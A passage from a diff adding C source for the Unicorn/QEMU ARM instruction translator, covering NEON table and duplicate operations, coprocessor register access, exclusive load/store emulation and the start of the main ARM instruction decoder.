tcg_ctx->cpu_env, tmp2, tmp, tmp4, tmp5); + tcg_temp_free_i32(tcg_ctx, tmp); + if (insn & (1 << 6)) { + tmp = neon_load_reg(tcg_ctx, rd, 1); + } else { + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, 0); + } + tmp3 = neon_load_reg(tcg_ctx, rm, 1); + gen_helper_neon_tbl(tcg_ctx, tmp3, tcg_ctx->cpu_env, tmp3, tmp, tmp4, tmp5); + tcg_temp_free_i32(tcg_ctx, tmp5); + tcg_temp_free_i32(tcg_ctx, tmp4); + neon_store_reg(tcg_ctx, rd, 0, tmp2); + neon_store_reg(tcg_ctx, rd, 1, tmp3); + tcg_temp_free_i32(tcg_ctx, tmp); + } else if ((insn & 0x380) == 0) { + /* VDUP */ + if ((insn & (7 << 16)) == 0 || (q && (rd & 1))) { + return 1; + } + if (insn & (1 << 19)) { + tmp = neon_load_reg(tcg_ctx, rm, 1); + } else { + tmp = neon_load_reg(tcg_ctx, rm, 0); + } + if (insn & (1 << 16)) { + gen_neon_dup_u8(s, tmp, ((insn >> 17) & 3) * 8); + } else if (insn & (1 << 17)) { + if ((insn >> 18) & 1) + gen_neon_dup_high16(s, tmp); + else + gen_neon_dup_low16(s, tmp); + } + for (pass = 0; pass < (q ? 4 : 2); pass++) { + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_mov_i32(tcg_ctx, tmp2, tmp); + neon_store_reg(tcg_ctx, rd, pass, tmp2); + } + tcg_temp_free_i32(tcg_ctx, tmp); + } else { + return 1; + } + } + } + return 0; +} + +static int disas_coproc_insn(DisasContext *s, uint32_t insn) +{ + int cpnum, is64, crn, crm, opc1, opc2, isread, rt, rt2; + const ARMCPRegInfo *ri; + TCGContext *tcg_ctx = s->uc->tcg_ctx; + + cpnum = (insn >> 8) & 0xf; + + /* First check for coprocessor space used for XScale/iwMMXt insns */ + if (arm_dc_feature(s, ARM_FEATURE_XSCALE) && (cpnum < 2)) { + if (extract32(s->c15_cpar, cpnum, 1) == 0) { + return 1; + } + if (arm_dc_feature(s, ARM_FEATURE_IWMMXT)) { + return disas_iwmmxt_insn(s, insn); + } else if (arm_dc_feature(s, ARM_FEATURE_XSCALE)) { + return disas_dsp_insn(s, insn); + } + return 1; + } + + /* Otherwise treat as a generic register access */ + is64 = (insn & (1 << 25)) == 0; + if (!is64 && ((insn & (1 << 4)) == 0)) { + /* cdp */ + return 1; + } + + crm = insn & 0xf; + if (is64) { + crn = 0; + opc1 = (insn >> 4) & 0xf; + opc2 = 0; + rt2 = (insn >> 16) & 0xf; + } else { + crn = (insn >> 16) & 0xf; + opc1 = (insn >> 21) & 7; + opc2 = (insn >> 5) & 7; + rt2 = 0; + } + isread = (insn >> 20) & 1; + rt = (insn >> 12) & 0xf; + + ri = get_arm_cp_reginfo(s->cp_regs, + ENCODE_CP_REG(cpnum, is64, crn, crm, opc1, opc2)); + if (ri) { + /* Check access permissions */ + if (!cp_access_ok(s->current_el, ri, isread)) { + return 1; + } + + if (ri->accessfn || + (arm_dc_feature(s, ARM_FEATURE_XSCALE) && cpnum < 14)) { + /* Emit code to perform further access permissions checks at + * runtime; this may result in an exception. + * Note that on XScale all cp0..c13 registers do an access check + * call in order to handle c15_cpar. + */ + TCGv_ptr tmpptr; + TCGv_i32 tcg_syn; + uint32_t syndrome; + + /* Note that since we are an implementation which takes an + * exception on a trapped conditional instruction only if the + * instruction passes its condition code check, we can take + * advantage of the clause in the ARM ARM that allows us to set + * the COND field in the instruction to 0xE in all cases. + * We could fish the actual condition out of the insn (ARM) + * or the condexec bits (Thumb) but it isn't necessary. + */ + switch (cpnum) { + case 14: + if (is64) { + syndrome = syn_cp14_rrt_trap(1, 0xe, opc1, crm, rt, rt2, + isread, s->thumb); + } else { + syndrome = syn_cp14_rt_trap(1, 0xe, opc1, opc2, crn, crm, + rt, isread, s->thumb); + } + break; + case 15: + if (is64) { + syndrome = syn_cp15_rrt_trap(1, 0xe, opc1, crm, rt, rt2, + isread, s->thumb); + } else { + syndrome = syn_cp15_rt_trap(1, 0xe, opc1, opc2, crn, crm, + rt, isread, s->thumb); + } + break; + default: + /* ARMv8 defines that only coprocessors 14 and 15 exist, + * so this can only happen if this is an ARMv7 or earlier CPU, + * in which case the syndrome information won't actually be + * guest visible. + */ + assert(!arm_dc_feature(s, ARM_FEATURE_V8)); + syndrome = syn_uncategorized(); + break; + } + + gen_set_pc_im(s, s->pc); + tmpptr = tcg_const_ptr(tcg_ctx, ri); + tcg_syn = tcg_const_i32(tcg_ctx, syndrome); + gen_helper_access_check_cp_reg(tcg_ctx, tcg_ctx->cpu_env, tmpptr, tcg_syn); + tcg_temp_free_ptr(tcg_ctx, tmpptr); + tcg_temp_free_i32(tcg_ctx, tcg_syn); + } + + /* Handle special cases first */ + switch (ri->type & ~(ARM_CP_FLAG_MASK & ~ARM_CP_SPECIAL)) { + case ARM_CP_NOP: + return 0; + case ARM_CP_WFI: + if (isread) { + return 1; + } + gen_set_pc_im(s, s->pc); + s->is_jmp = DISAS_WFI; + return 0; + default: + break; + } + + if (isread) { + /* Read */ + if (is64) { + TCGv_i64 tmp64; + TCGv_i32 tmp; + if (ri->type & ARM_CP_CONST) { + tmp64 = tcg_const_i64(tcg_ctx, ri->resetvalue); + } else if (ri->readfn) { + TCGv_ptr tmpptr; + tmp64 = tcg_temp_new_i64(tcg_ctx); + tmpptr = tcg_const_ptr(tcg_ctx, ri); + gen_helper_get_cp_reg64(tcg_ctx, tmp64, tcg_ctx->cpu_env, tmpptr); + tcg_temp_free_ptr(tcg_ctx, tmpptr); + } else { + tmp64 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_ld_i64(tcg_ctx, tmp64, tcg_ctx->cpu_env, ri->fieldoffset); + } + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tmp64); + store_reg(s, rt, tmp); + tcg_gen_shri_i64(tcg_ctx, tmp64, tmp64, 32); + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, tmp64); + tcg_temp_free_i64(tcg_ctx, tmp64); + store_reg(s, rt2, tmp); + } else { + TCGv_i32 tmp; + if (ri->type & ARM_CP_CONST) { + tmp = tcg_const_i32(tcg_ctx, ri->resetvalue); + } else if (ri->readfn) { + TCGv_ptr tmpptr; + tmp = tcg_temp_new_i32(tcg_ctx); + tmpptr = tcg_const_ptr(tcg_ctx, ri); + gen_helper_get_cp_reg(tcg_ctx, tmp, tcg_ctx->cpu_env, tmpptr); + tcg_temp_free_ptr(tcg_ctx, tmpptr); + } else { + tmp = load_cpu_offset(s->uc, ri->fieldoffset); + } + if (rt == 15) { + /* Destination register of r15 for 32 bit loads sets + * the condition codes from the high 4 bits of the value + */ + gen_set_nzcv(s, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + } else { + store_reg(s, rt, tmp); + } + } + } else { + /* Write */ + if (ri->type & ARM_CP_CONST) { + /* If not forbidden by access permissions, treat as WI */ + return 0; + } + + if (is64) { + TCGv_i32 tmplo, tmphi; + TCGv_i64 tmp64 = tcg_temp_new_i64(tcg_ctx); + tmplo = load_reg(s, rt); + tmphi = load_reg(s, rt2); + tcg_gen_concat_i32_i64(tcg_ctx, tmp64, tmplo, tmphi); + tcg_temp_free_i32(tcg_ctx, tmplo); + tcg_temp_free_i32(tcg_ctx, tmphi); + if (ri->writefn) { + TCGv_ptr tmpptr = tcg_const_ptr(tcg_ctx, ri); + gen_helper_set_cp_reg64(tcg_ctx, tcg_ctx->cpu_env, tmpptr, tmp64); + tcg_temp_free_ptr(tcg_ctx, tmpptr); + } else { + tcg_gen_st_i64(tcg_ctx, tmp64, tcg_ctx->cpu_env, ri->fieldoffset); + } + tcg_temp_free_i64(tcg_ctx, tmp64); + } else { + if (ri->writefn) { + TCGv_i32 tmp; + TCGv_ptr tmpptr; + tmp = load_reg(s, rt); + tmpptr = tcg_const_ptr(tcg_ctx, ri); + gen_helper_set_cp_reg(tcg_ctx, tcg_ctx->cpu_env, tmpptr, tmp); + tcg_temp_free_ptr(tcg_ctx, tmpptr); + tcg_temp_free_i32(tcg_ctx, tmp); + } else { + TCGv_i32 tmp = load_reg(s, rt); + store_cpu_offset(tcg_ctx, tmp, ri->fieldoffset); + } + } + } + + if (!isread && !(ri->type & ARM_CP_SUPPRESS_TB_END)) { + /* We default to ending the TB on a coprocessor register write, + * but allow this to be suppressed by the register definition + * (usually only necessary to work around guest bugs). + */ + gen_lookup_tb(s); + } + + return 0; + } + + /* Unknown register; this might be a guest error or a QEMU + * unimplemented feature. + */ + if (is64) { + qemu_log_mask(LOG_UNIMP, "%s access to unsupported AArch32 " + "64 bit system register cp:%d opc1: %d crm:%d\n", + isread ? "read" : "write", cpnum, opc1, crm); + } else { + qemu_log_mask(LOG_UNIMP, "%s access to unsupported AArch32 " + "system register cp:%d opc1:%d crn:%d crm:%d opc2:%d\n", + isread ? "read" : "write", cpnum, opc1, crn, crm, opc2); + } + + return 1; +} + + +/* Store a 64-bit value to a register pair. Clobbers val. */ +static void gen_storeq_reg(DisasContext *s, int rlow, int rhigh, TCGv_i64 val) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp; + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, val); + store_reg(s, rlow, tmp); + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_shri_i64(tcg_ctx, val, val, 32); + tcg_gen_trunc_i64_i32(tcg_ctx, tmp, val); + store_reg(s, rhigh, tmp); +} + +/* load a 32-bit value from a register and perform a 64-bit accumulate. */ +static void gen_addq_lo(DisasContext *s, TCGv_i64 val, int rlow) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tmp; + TCGv_i32 tmp2; + + /* Load value and extend to 64 bits. */ + tmp = tcg_temp_new_i64(tcg_ctx); + tmp2 = load_reg(s, rlow); + tcg_gen_extu_i32_i64(tcg_ctx, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_gen_add_i64(tcg_ctx, val, val, tmp); + tcg_temp_free_i64(tcg_ctx, tmp); +} + +/* load and add a 64-bit value from a register pair. */ +static void gen_addq(DisasContext *s, TCGv_i64 val, int rlow, int rhigh) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i64 tmp; + TCGv_i32 tmpl; + TCGv_i32 tmph; + + /* Load 64-bit value rd:rn. */ + tmpl = load_reg(s, rlow); + tmph = load_reg(s, rhigh); + tmp = tcg_temp_new_i64(tcg_ctx); + tcg_gen_concat_i32_i64(tcg_ctx, tmp, tmpl, tmph); + tcg_temp_free_i32(tcg_ctx, tmpl); + tcg_temp_free_i32(tcg_ctx, tmph); + tcg_gen_add_i64(tcg_ctx, val, val, tmp); + tcg_temp_free_i64(tcg_ctx, tmp); +} + +/* Set N and Z flags from hi|lo. */ +static void gen_logicq_cc(DisasContext *s, TCGv_i32 lo, TCGv_i32 hi) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_mov_i32(tcg_ctx, tcg_ctx->cpu_NF, hi); + tcg_gen_or_i32(tcg_ctx, tcg_ctx->cpu_ZF, lo, hi); +} + +/* Load/Store exclusive instructions are implemented by remembering + the value/address loaded, and seeing if these are the same + when the store is performed. This should be sufficient to implement + the architecturally mandated semantics, and avoids having to monitor + regular stores. + + In system emulation mode only one CPU will be running at once, so + this sequence is effectively atomic. In user emulation mode we + throw an exception and handle the atomic operation elsewhere. */ +static void gen_load_exclusive(DisasContext *s, int rt, int rt2, + TCGv_i32 addr, int size) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + + s->is_ldex = true; + + switch (size) { + case 0: + gen_aa32_ld8u(s, tmp, addr, get_mem_index(s)); + break; + case 1: + gen_aa32_ld16u(s, tmp, addr, get_mem_index(s)); + break; + case 2: + case 3: + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + break; + default: + abort(); + } + + if (size == 3) { + TCGv_i32 tmp2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tmp3 = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_addi_i32(tcg_ctx, tmp2, addr, 4); + gen_aa32_ld32u(s, tmp3, tmp2, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_gen_concat_i32_i64(tcg_ctx, tcg_ctx->cpu_exclusive_val, tmp, tmp3); + store_reg(s, rt2, tmp3); + } else { + tcg_gen_extu_i32_i64(tcg_ctx, tcg_ctx->cpu_exclusive_val, tmp); + } + + store_reg(s, rt, tmp); + tcg_gen_extu_i32_i64(tcg_ctx, tcg_ctx->cpu_exclusive_addr, addr); +} + +static void gen_clrex(DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_movi_i64(tcg_ctx, tcg_ctx->cpu_exclusive_addr, -1); +} + +#ifdef CONFIG_USER_ONLY +static void gen_store_exclusive(DisasContext *s, int rd, int rt, int rt2, + TCGv_i32 addr, int size) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + tcg_gen_extu_i32_i64(tcg_ctx, cpu_exclusive_test, addr); + tcg_gen_movi_i32(tcg_ctx, cpu_exclusive_info, + size | (rd << 4) | (rt << 8) | (rt2 << 12)); + gen_exception_internal_insn(s, 4, EXCP_STREX); +} +#else +static void gen_store_exclusive(DisasContext *s, int rd, int rt, int rt2, + TCGv_i32 addr, int size) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + TCGv_i32 tmp; + TCGv_i64 val64, extaddr; + int done_label; + int fail_label; + + /* if (env->exclusive_addr == addr && env->exclusive_val == [addr]) { + [addr] = {Rt}; + {Rd} = 0; + } else { + {Rd} = 1; + } */ + fail_label = gen_new_label(tcg_ctx); + done_label = gen_new_label(tcg_ctx); + extaddr = tcg_temp_new_i64(tcg_ctx); + tcg_gen_extu_i32_i64(tcg_ctx, extaddr, addr); + tcg_gen_brcond_i64(tcg_ctx, TCG_COND_NE, extaddr, tcg_ctx->cpu_exclusive_addr, fail_label); + tcg_temp_free_i64(tcg_ctx, extaddr); + + tmp = tcg_temp_new_i32(tcg_ctx); + switch (size) { + case 0: + gen_aa32_ld8u(s, tmp, addr, get_mem_index(s)); + break; + case 1: + gen_aa32_ld16u(s, tmp, addr, get_mem_index(s)); + break; + case 2: + case 3: + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + break; + default: + abort(); + } + + val64 = tcg_temp_new_i64(tcg_ctx); + if (size == 3) { + TCGv_i32 tmp2 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tmp3 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_addi_i32(tcg_ctx, tmp2, addr, 4); + gen_aa32_ld32u(s, tmp3, tmp2, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_gen_concat_i32_i64(tcg_ctx, val64, tmp, tmp3); + tcg_temp_free_i32(tcg_ctx, tmp3); + } else { + tcg_gen_extu_i32_i64(tcg_ctx, val64, tmp); + } + tcg_temp_free_i32(tcg_ctx, tmp); + + tcg_gen_brcond_i64(tcg_ctx, TCG_COND_NE, val64, tcg_ctx->cpu_exclusive_val, fail_label); + tcg_temp_free_i64(tcg_ctx, val64); + + tmp = load_reg(s, rt); + switch (size) { + case 0: + gen_aa32_st8(s, tmp, addr, get_mem_index(s)); + break; + case 1: + gen_aa32_st16(s, tmp, addr, get_mem_index(s)); + break; + case 2: + case 3: + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + break; + default: + abort(); + } + tcg_temp_free_i32(tcg_ctx, tmp); + if (size == 3) { + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + tmp = load_reg(s, rt2); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + } + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_R[rd], 0); + tcg_gen_br(tcg_ctx, done_label); + gen_set_label(tcg_ctx, fail_label); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_R[rd], 1); + gen_set_label(tcg_ctx, done_label); + tcg_gen_movi_i64(tcg_ctx, tcg_ctx->cpu_exclusive_addr, -1); +} +#endif + +/* gen_srs: + * @env: CPUARMState + * @s: DisasContext + * @mode: mode field from insn (which stack to store to) + * @amode: addressing mode (DA/IA/DB/IB), encoded as per P,U bits in ARM insn + * @writeback: true if writeback bit set + * + * Generate code for the SRS (Store Return State) insn. + */ +static void gen_srs(DisasContext *s, + uint32_t mode, uint32_t amode, bool writeback) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + int32_t offset; + TCGv_i32 addr = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 tmp = tcg_const_i32(tcg_ctx, mode); + gen_helper_get_r13_banked(tcg_ctx, addr, tcg_ctx->cpu_env, tmp); + tcg_temp_free_i32(tcg_ctx, tmp); + switch (amode) { + case 0: /* DA */ + offset = -4; + break; + case 1: /* IA */ + offset = 0; + break; + case 2: /* DB */ + offset = -8; + break; + case 3: /* IB */ + offset = 4; + break; + default: + abort(); + } + tcg_gen_addi_i32(tcg_ctx, addr, addr, offset); + tmp = load_reg(s, 14); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + tmp = load_cpu_field(s->uc, spsr); + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + gen_aa32_st32(s, tmp, addr, get_mem_index(s)); + tcg_temp_free_i32(tcg_ctx, tmp); + if (writeback) { + switch (amode) { + case 0: + offset = -8; + break; + case 1: + offset = 4; + break; + case 2: + offset = -4; + break; + case 3: + offset = 0; + break; + default: + abort(); + } + tcg_gen_addi_i32(tcg_ctx, addr, addr, offset); + tmp = tcg_const_i32(tcg_ctx, mode); + gen_helper_set_r13_banked(tcg_ctx, tcg_ctx->cpu_env, tmp, addr); + tcg_temp_free_i32(tcg_ctx, tmp); + } + tcg_temp_free_i32(tcg_ctx, addr); +} + +static void disas_arm_insn(DisasContext *s, unsigned int insn) // qq +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + unsigned int cond, val, op1, i, shift, rm, rs, rn, rd, sh; + TCGv_i32 tmp; + TCGv_i32 tmp2; + TCGv_i32 tmp3; + TCGv_i32 addr; + TCGv_i64 tmp64; + + /* M variants do not implement ARM mode. */ + if (arm_dc_feature(s, ARM_FEATURE_M)) { + goto illegal_op; + } + + // Unicorn: trace this instruction on request + if (HOOK_EXISTS_BOUNDED(s->uc, UC_HOOK_CODE, s->pc - 4)) { + gen_uc_tracecode(tcg_ctx, 4, UC_HOOK_CODE_IDX, s->uc, s->pc - 4); + // the callback might want to stop emulation immediately + check_exit_request(tcg_ctx); + } + + cond = insn >> 28; + if (cond == 0xf){ + /* In ARMv3 and v4 the NV condition is UNPREDICTABLE; we + * choose to UNDEF. In ARMv5 and above the space is used + * for miscellaneous unconditional instructions. + */ + ARCH(5); + + /* Unconditional instructions. */ + if (((insn >> 25) & 7) == 1) { + /* NEON Data processing. */ + if (!arm_dc_feature(s, ARM_FEATURE_NEON)) { + goto illegal_op; + } + + if (disas_neon_data_insn(s, insn)) { + goto illegal_op; + } + return; + } + if ((insn & 0x0f100000) == 0x04000000) { + /* NEON load/store. */ + if (!arm_dc_feature(s, ARM_FEATURE_NEON)) { + goto illegal_op; + } + + if (disas_neon_ls_insn(s, insn)) { + goto illegal_op; + } + return; + } + if ((insn & 0x0f000e10) == 0x0e000a00) { + /* VFP. */ + if (disas_vfp_insn(s, insn)) { + goto illegal_op; + } + return; + } + if (((insn & 0x0f30f000) == 0x0510f000) || + ((insn & 0x0f30f010) == 0x0710f000)) { + if ((insn & (1 << 22)) == 0) { + /* PLDW; v7MP */ + if (!arm_dc_feature(s, ARM_FEATURE_V7MP)) { + goto illegal_op; + } + } + /* Otherwise PLD; v5TE+ */ + ARCH(5TE); + return; + } + if (((insn & 0x0f70f000) == 0x0450f000) || + ((insn & 0x0f70f010) == 0x0650f000)) { + ARCH(7); + return; /* PLI; V7 */ + } + if (((insn & 0x0f700000) == 0x04100000) || + ((insn & 0x0f700010) == 0x06100000)) { + if (!arm_dc_feature(s, ARM_FEATURE_V7MP)) { + goto illegal_op; + } + return; /* v7MP: Unallocated memory hint: must NOP */ + } + + if ((insn & 0x0ffffdff) == 0x01010000) { + ARCH(6); + /* setend */ + if (((insn >> 9) & 1) != s->bswap_code) { + /* Dynamic endianness switching not implemented. */ + qemu_log_mask(LOG_UNIMP, "arm: unimplemented setend\n"); + goto illegal_op; + } + return; + } else if ((insn & 0x0fffff00) == 0x057ff000) { + switch ((insn >> 4) & 0xf) { + case 1: /* clrex */ + ARCH(6K); + gen_clrex(s); + return; + case 4: /* dsb */ + case 5: /* dmb */ + case 6: /* isb */ + ARCH(7); + /* We don't emulate caches so these are a no-op. */ + return; + default: + goto illegal_op; + } + } else if ((insn & 0x0e5fffe0) == 0x084d0500) { + /* srs */ + if (IS_USER(s)) { + goto illegal_op; + } + ARCH(6); + gen_srs(s, (insn & 0x1f), (insn >> 23) & 3, insn & (1 << 21)); + return; + } else if ((insn & 0x0e50ffe0) == 0x08100a00) { + /* rfe */ + int32_t offset; + if (IS_USER(s)) + goto illegal_op; + ARCH(6); + rn = (insn >> 16) & 0xf; + addr = load_reg(s, rn); + i = (insn >> 23) & 3; + switch (i) { + case 0: offset = -4; break; /* DA */ + case 1: offset = 0; break; /* IA */ + case 2: offset = -8; break; /* DB */ + case 3: offset = 4; break; /* IB */ + default: abort(); + } + if (offset) + tcg_gen_addi_i32(tcg_ctx, addr, addr, offset); + /* Load PC into tmp and CPSR into tmp2. */ + tmp = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp, addr, get_mem_index(s)); + tcg_gen_addi_i32(tcg_ctx, addr, addr, 4); + tmp2 = tcg_temp_new_i32(tcg_ctx); + gen_aa32_ld32u(s, tmp2, addr, get_mem_index(s)); + if (insn & (1 << 21)) { + /* Base writeback. */ + switch (i) { + case 0: offset = -8; break; + case 1: offset = 4; break; + case 2: offset = -4; break; + case 3: offset = 0; break; + default: abort(); + } + if (offset) + tcg_gen_addi_i32(tcg_ctx, addr, addr, offset); + store_reg(s, rn, addr); + } else { + tcg_temp_free_i32(tcg_ctx, addr); + } + gen_rfe(s, tmp, tmp2); + return; + } else if ((insn & 0x0e000000) == 0x0a000000) { + /* branch link and change to thumb (blx ) */ + int32_t offset; + + val = (uint32_t)s->pc; + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, val); + store_reg(s, 14, tmp); + /* Sign-extend the 24-bit offset */ + offset = ((int32_t)(insn << 8)) >> 8; + /* offset * 4 + bit24 * 2 + (thumb bit) */ + val += (((uint32_t)offset) << 2) | ((insn >> 23) & 2) | 1; + /* pipeline offset */ + val += 4; + /* protected by ARCH(5); above, near the start of uncond block */ + gen_bx_im(s, val); + return; + } else if ((insn & 0x0e000f00) == 0x0c000100) { + if (arm_dc_feature(s, ARM_FEATURE_IWMMXT)) { + /* iWMMXt register transfer. */ + if (extract32(s->c15_cpar, 1, 1)) { + if (!disas_iwmmxt_insn(s, insn)) { + return; + } + } + } + } else if ((insn & 0x0fe00000) == 0x0c400000) { + /* Coprocessor double register transfer. */ + ARCH(5TE); + } else if ((insn & 0x0f000010) == 0x0e000010) { + /* Additional coprocessor register transfer. */ + } else if ((insn & 0x0ff10020) == 0x01000000) { + uint32_t mask; + uint32_t val; + /* cps (privileged) */ + if (IS_USER(s)) + return; + mask = val = 0; + if (insn & (1 << 19)) { + if (insn & (1 << 8)) + mask |= CPSR_A; + if (insn & (1 << 7)) + mask |= CPSR_I; + if (insn & (1 << 6)) + mask |= CPSR_F; + if (insn & (1 << 18)) + val |= mask; + } + if (insn & (1 << 17)) { + mask |= CPSR_M; + val |= (insn & 0x1f); + } + if (mask) { + gen_set_psr_im(s, mask, 0, val); + } + return; + } + goto illegal_op; + } + if (cond != 0xe) { + /* if not always execute, we generate a conditional jump to + next instruction */ + s->condlabel = gen_new_label(tcg_ctx); + arm_gen_test_cc(tcg_ctx, cond ^ 1, s->condlabel); + s->condjmp = 1; + } + if ((insn & 0x0f900000) == 0x03000000) { + if ((insn & (1 << 21)) == 0) { + ARCH(6T2); + rd = (insn >> 12) & 0xf; + val = ((insn >> 4) & 0xf000) | (insn & 0xfff); + if ((insn & (1 << 22)) == 0) { + /* MOVW */ + tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, val); + } else { + /* MOVT */ + tmp = load_reg(s, rd); + tcg_gen_ext16u_i32(tcg_ctx, tmp, tmp); + tcg_gen_ori_i32(tcg_ctx, tmp, tmp, val << 16); + } + store_reg(s, rd, tmp); + } else { + if (((insn >> 12) & 0xf) != 0xf) + goto illegal_op; + if (((insn >> 16) & 0xf) == 0) { + gen_nop_hint(s, insn & 0xff); + } else { + /* CPSR = immediate */ + val = insn & 0xff; + shift = ((insn >> 8) & 0xf) * 2; + if (shift) + val = (val >> shift) | (val << (32 - shift)); + i = ((insn & (1 << 22)) != 0); + if (gen_set_psr_im(s, msr_mask(s, (insn >> 16) & 0xf, i), + i, val)) { + goto illegal_op; + } + } + } + } else if ((insn & 0x0f900000) == 0x01000000 + && (insn & 0x00000090) != 0x00000090) { + /* miscellaneous instructions */ + op1 = (insn >> 21) & 3; + sh = (insn >> 4) & 0xf; + rm = insn & 0xf; + switch (sh) { + case 0x0: /* move program status register */ + if (op1 & 1) { + /* PSR = reg */ + tmp = load_reg(s, rm); + i = ((op1 & 2) != 0); + if (gen_set_psr(s, msr_mask(s, (insn >> 16) & 0xf, i), i, tmp)) + goto illegal_op; + } else { + /* reg = PSR */ + rd = (insn >> 12) & 0xf; + if (op1 & 2) { + if (IS_USER(s)) + goto illegal_op; + tmp = load_cpu_field(s->uc, spsr); + } else { + tmp = tcg_temp_new_i32(tcg_ctx); + gen_helper_cpsr_read(tcg_ctx, tmp, tcg_ctx->cpu_env); + } + store_reg(s, rd, tmp); + } + break; + case 0x1: + if (op1 == 1) { + /* branch/exchange thumb (bx). */ + ARCH(4T); + tmp = load_reg(s, rm); + gen_bx(s, tmp); + } else if (op1 == 3) { + /* clz */ + ARCH(5); + rd = (insn >> 12) & 0xf; + tmp = load_reg(s, rm); + gen_helper_clz(tcg_ctx, tmp, tmp); + store_reg(s, rd, tmp); + } else { + goto illegal_op; + } + break; + case 0x2: + if (op1 == 1) { + ARCH(5J); /* bxj */ + /* Trivial implementation equivalent to bx. */ + tmp = load_reg(s, rm); + gen_bx(s, tmp); + } else { + goto illegal_op; + } + break; + case 0x3: + if (op1 != 1) + goto illegal_op; + + ARCH(5); + /* branch link/exchange thumb (blx) */ + tmp = load_reg(s, rm); + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp2, s->pc); + store_reg(s, 14, tmp2); + gen_bx(s, tmp); + break; + case 0x4: + { + /* crc32/crc32c */ + uint32_t c = extract32(insn, 8, 4); + + /* Check this CPU supports ARMv8 CRC instructions. + * op1 == 3 is UNPREDICTABLE but handle as UNDEFINED. + * Bits 8, 10 and 11 should be zero. + */ + if (!arm_dc_feature(s, ARM_FEATURE_CRC) || op1 == 0x3 || + (c & 0xd) != 0) { + goto illegal_op; + } + + rn = extract32(insn, 16, 4); + rd = extract32(insn, 12, 4); + + tmp = load_reg(s, rn); + tmp2 = load_reg(s, rm); + if (op1 == 0) { + tcg_gen_andi_i32(tcg_ctx, tmp2, tmp2, 0xff); + } else if (op1 == 1) { + tcg_gen_andi_i32(tcg_ctx, tmp2, tmp2, 0xffff); + } + tmp3 = tcg_const_i32(tcg_ctx, 1 << op1); + if (c & 0x2) { + gen_helper_crc32c(tcg_ctx, tmp, tmp, tmp2, tmp3); + } else { + gen_helper_crc32(tcg_ctx, tmp, tmp, tmp2, tmp3); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp3); + store_reg(s, rd, tmp); + break; + } + case 0x5: /* saturating add/subtract */ + ARCH(5TE); + rd = (insn >> 12) & 0xf; + rn = (insn >> 16) & 0xf; + tmp = load_reg(s, rm); + tmp2 = load_reg(s, rn); + if (op1 & 2) + gen_helper_double_saturate(tcg_ctx, tmp2, tcg_ctx->cpu_env, tmp2); + if (op1 & 1) + gen_helper_sub_saturate(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + else + gen_helper_add_saturate(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + store_reg(s, rd, tmp); + break; + case 7: + { + int imm16 = extract32(insn, 0, 4) | (extract32(insn, 8, 12) << 4); + switch (op1) { + case 1: + /* bkpt */ + ARCH(5); + gen_exception_insn(s, 4, EXCP_BKPT, + syn_aa32_bkpt(imm16, false)); + break; + case 2: + /* Hypervisor call (v7) */ + ARCH(7); + if (IS_USER(s)) { + goto illegal_op; + } + gen_hvc(s, imm16); + break; + case 3: + /* Secure monitor call (v6+) */ + ARCH(6K); + if (IS_USER(s)) { + goto illegal_op; + } + gen_smc(s); + break; + default: + goto illegal_op; + } + break; + } + case 0x8: /* signed multiply */ + case 0xa: + case 0xc: + case 0xe: + ARCH(5TE); + rs = (insn >> 8) & 0xf; + rn = (insn >> 12) & 0xf; + rd = (insn >> 16) & 0xf; + if (op1 == 1) { + /* (32 * 16) >> 16 */ + tmp = load_reg(s, rm); + tmp2 = load_reg(s, rs); + if (sh 